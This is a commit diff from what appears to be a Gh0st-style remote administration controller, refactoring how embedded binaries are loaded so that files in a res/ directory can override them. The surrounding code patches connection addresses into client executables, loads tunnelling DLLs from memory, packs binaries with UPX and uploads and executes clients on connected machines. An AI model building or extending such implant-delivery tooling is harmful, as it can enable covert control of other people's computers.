Feature: Allow external resource override from res/ directory
This commit is contained in:
@@ -397,7 +397,7 @@ DllInfo* ReadTinyRunDll(int pid)
|
||||
{
|
||||
std::string name = TINY_DLL_NAME;
|
||||
DWORD fileSize = 0;
|
||||
BYTE * dllData = ReadResource(IDR_TINYRUN_X64, fileSize);
|
||||
BYTE * dllData = ReadResource(IDR_TINYRUN_X64, fileSize, ResFileName::TINYRUN_X64);
|
||||
std::string s(skCrypt(FLAG_FINDEN)), ip, port;
|
||||
int offset = MemoryFind((char*)dllData, s.c_str(), fileSize, s.length());
|
||||
if (offset != -1) {
|
||||
@@ -433,7 +433,7 @@ DllInfo* ReadFrpcDll(int callType)
|
||||
{
|
||||
std::string name = FRPC_DLL_NAME;
|
||||
DWORD fileSize = 0;
|
||||
BYTE* dllData = ReadResource(IDR_BINARY_FRPC, fileSize);
|
||||
BYTE* dllData = ReadResource(IDR_BINARY_FRPC, fileSize, ResFileName::FRPC_DLL);
|
||||
// 设置输出参数
|
||||
auto md5 = CalcMD5FromBytes(dllData, fileSize);
|
||||
DllExecuteInfoNew info = { MEMORYDLL, fileSize, callType, {}, {}, 0, 0, sizeof(DllExecuteInfoNew)};
|
||||
@@ -1862,7 +1862,8 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
}
|
||||
if (strlen(v->Admin) && v->Port > 0) {
|
||||
DWORD size = 0;
|
||||
LPBYTE data = ReadResource(sizeof(void*) == 8 ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, size);
|
||||
LPBYTE data = ReadResource(sizeof(void*) == 8 ? IDR_TINYRUN_X64 : IDR_TINYRUN_X86, size,
|
||||
sizeof(void*) == 8 ? ResFileName::TINYRUN_X64 : ResFileName::TINYRUN_X86);
|
||||
if (data) {
|
||||
int offset = MemoryFind((char*)data, FLAG_FINDEN, size, strlen(FLAG_FINDEN));
|
||||
if (offset != -1) {
|
||||
@@ -2212,7 +2213,7 @@ void CMy2015RemoteDlg::InitFrpClients()
|
||||
|
||||
// 加载 FRP DLL(只加载一次)
|
||||
DWORD size = 0;
|
||||
LPBYTE frpcData = ReadResource(IDR_BINARY_FRPC, size);
|
||||
LPBYTE frpcData = ReadResource(IDR_BINARY_FRPC, size, ResFileName::FRPC_DLL);
|
||||
if (frpcData == nullptr) {
|
||||
Mprintf("[FRP] Failed to read FRP DLL\n");
|
||||
return;
|
||||
@@ -2301,7 +2302,7 @@ bool CMy2015RemoteDlg::InitLocalFrpsServer()
|
||||
|
||||
// 加载 FRPS DLL
|
||||
DWORD size = 0;
|
||||
LPBYTE frpsData = ReadResource(IDR_BINARY_FRPS, size);
|
||||
LPBYTE frpsData = ReadResource(IDR_BINARY_FRPS, size, ResFileName::FRPS_DLL);
|
||||
if (frpsData == nullptr) {
|
||||
Mprintf("[FRPS] Failed to read FRPS DLL from resource\n");
|
||||
return false;
|
||||
@@ -2634,7 +2635,7 @@ void CMy2015RemoteDlg::StartFrpcAuto(const FrpAutoConfig& cfg)
|
||||
// 加载 FRP DLL(复用现有的 m_hFrpDll,如果还没加载则加载)
|
||||
if (!m_hFrpDll) {
|
||||
DWORD size = 0;
|
||||
LPBYTE frpcData = ReadResource(IDR_BINARY_FRPC, size);
|
||||
LPBYTE frpcData = ReadResource(IDR_BINARY_FRPC, size, ResFileName::FRPC_DLL);
|
||||
if (frpcData == nullptr) {
|
||||
Mprintf("[FRP-Auto] 读取 FRP DLL 资源失败\n");
|
||||
return;
|
||||
@@ -3221,13 +3222,13 @@ void CMy2015RemoteDlg::UpdateStatusBarStats()
|
||||
}
|
||||
else if (m_settings.UsingFRPProxy) {
|
||||
strFrpDisplay.Format(_T("%s:%d"), THIS_CFG.GetStr("settings", "master").c_str(),
|
||||
THIS_CFG.Get1Int("settings", "ghost", 6543));
|
||||
THIS_CFG.Get1Int("settings", "ghost", ';', 6543));
|
||||
}
|
||||
else if (!m_localPublicIP.empty()) {
|
||||
strFrpDisplay.Format(_T("WAN %s:%d"), m_localPublicIP.c_str(), THIS_CFG.Get1Int("settings", "ghost", 6543));
|
||||
strFrpDisplay.Format(_T("WAN %s:%d"), m_localPublicIP.c_str(), THIS_CFG.Get1Int("settings", "ghost", ';', 6543));
|
||||
}
|
||||
else {
|
||||
strFrpDisplay.Format(_T("LAN %s:%d"), m_localPrivateIP.c_str(), THIS_CFG.Get1Int("settings", "ghost", 6543));
|
||||
strFrpDisplay.Format(_T("LAN %s:%d"), m_localPrivateIP.c_str(), THIS_CFG.Get1Int("settings", "ghost", ';', 6543));
|
||||
}
|
||||
}
|
||||
// 根据是否有内容设置分区宽度
|
||||
@@ -3678,11 +3679,11 @@ void CMy2015RemoteDlg::OnOnlineMessage()
|
||||
}
|
||||
|
||||
// 从资源中读取被控端文件,并根据用户选择修改连接信息后返回给发送线程
|
||||
BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, int iType, int iStartup,
|
||||
BYTE* ReadExeFromResource(DWORD& outSize, int resourceId, const char* resName, int iType, int iStartup,
|
||||
const std::string& dir, const std::string& name, int cmd, int sizeofSize)
|
||||
{
|
||||
DWORD dwFileSize = 0;
|
||||
BYTE* szBuffer = ReadResource(resourceId, dwFileSize);
|
||||
BYTE* szBuffer = ReadResource(resourceId, dwFileSize, resName);
|
||||
outSize = dwFileSize;
|
||||
CONNECT_ADDRESS g_ConnectAddress = { FLAG_FINDEN };
|
||||
char* pSearchStart = (char*)szBuffer;
|
||||
@@ -3753,8 +3754,11 @@ void CMy2015RemoteDlg::OnOnlineUpdate()
|
||||
std::filesystem::path path = ContextObject->GetAdditionalData(RES_FILE_PATH).GetString();
|
||||
std::string stem = path.stem().string();
|
||||
std::string dirName = path.parent_path().filename().string();
|
||||
const char* resName = dlg.m_nSelected
|
||||
? (is64bit ? ResFileName::GHOST_X64 : ResFileName::GHOST_X86)
|
||||
: (is64bit ? ResFileName::TESTRUN_X64 : ResFileName::TESTRUN_X86);
|
||||
buffer = ReadExeFromResource(dwFileSize, dlg.m_nSelected ? (is64bit ? IDR_GHOST_X64 : IDR_GHOST_X86) :
|
||||
(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86), dlg.m_nSelected ? CLIENT_TYPE_ONE : CLIENT_TYPE_MEMDLL,
|
||||
(is64bit ? IDR_TESTRUN_X64 : IDR_TESTRUN_X86), resName, dlg.m_nSelected ? CLIENT_TYPE_ONE : CLIENT_TYPE_MEMDLL,
|
||||
dlg.m_nSelected ? Startup_GhostMsc : Startup_TestRunMsc, dirName, stem, COMMAND_UPDATE, 8);
|
||||
fileSize = dwFileSize;
|
||||
} else if (clientType == "DLL") {
|
||||
@@ -6730,7 +6734,7 @@ int run_upx(const std::string& upx, const std::string &file, bool isCompress)
|
||||
|
||||
std::string ReleaseUPX()
|
||||
{
|
||||
return ReleaseEXE(IDR_BINARY_UPX, "upx.exe");
|
||||
return ReleaseEXE(IDR_BINARY_UPX, "upx.exe", ResFileName::UPX_EXE);
|
||||
}
|
||||
|
||||
// 解压UPX对当前应用程序进行操作
|
||||
@@ -8085,8 +8089,8 @@ void CMy2015RemoteDlg::OnExecuteUpload()
|
||||
void CMy2015RemoteDlg::OnExecuteTestrun()
|
||||
{
|
||||
DWORD dwSize = 0;
|
||||
BYTE* buffer = ReadExeFromResource(dwSize, IDR_TESTRUN_X64, CLIENT_TYPE_ONE, Startup_TestRunMsc,
|
||||
"YAMA", "ServerD11", COMMAND_UPLOAD_EXEC, 4);
|
||||
BYTE* buffer = ReadExeFromResource(dwSize, IDR_TESTRUN_X64, ResFileName::TESTRUN_X64,
|
||||
CLIENT_TYPE_ONE, Startup_TestRunMsc, "YAMA", "ServerD11", COMMAND_UPLOAD_EXEC, 4);
|
||||
if (buffer && dwSize > 0) {
|
||||
SendSelectedCommand(buffer, 5 + dwSize);
|
||||
delete[] buffer;
|
||||
@@ -8098,8 +8102,8 @@ void CMy2015RemoteDlg::OnExecuteTestrun()
|
||||
void CMy2015RemoteDlg::OnExecuteGhost()
|
||||
{
|
||||
DWORD dwSize = 0;
|
||||
BYTE *buffer = ReadExeFromResource(dwSize, IDR_GHOST_X64, CLIENT_TYPE_ONE, Startup_GhostMsc,
|
||||
"YAMA", "ServerDll", COMMAND_UPLOAD_EXEC, 4);
|
||||
BYTE *buffer = ReadExeFromResource(dwSize, IDR_GHOST_X64, ResFileName::GHOST_X64,
|
||||
CLIENT_TYPE_ONE, Startup_GhostMsc, "YAMA", "ServerDll", COMMAND_UPLOAD_EXEC, 4);
|
||||
if (buffer && dwSize > 0) {
|
||||
SendSelectedCommand(buffer, 5 + dwSize);
|
||||
delete[] buffer;
|
||||
|
||||
Reference in New Issue
Block a user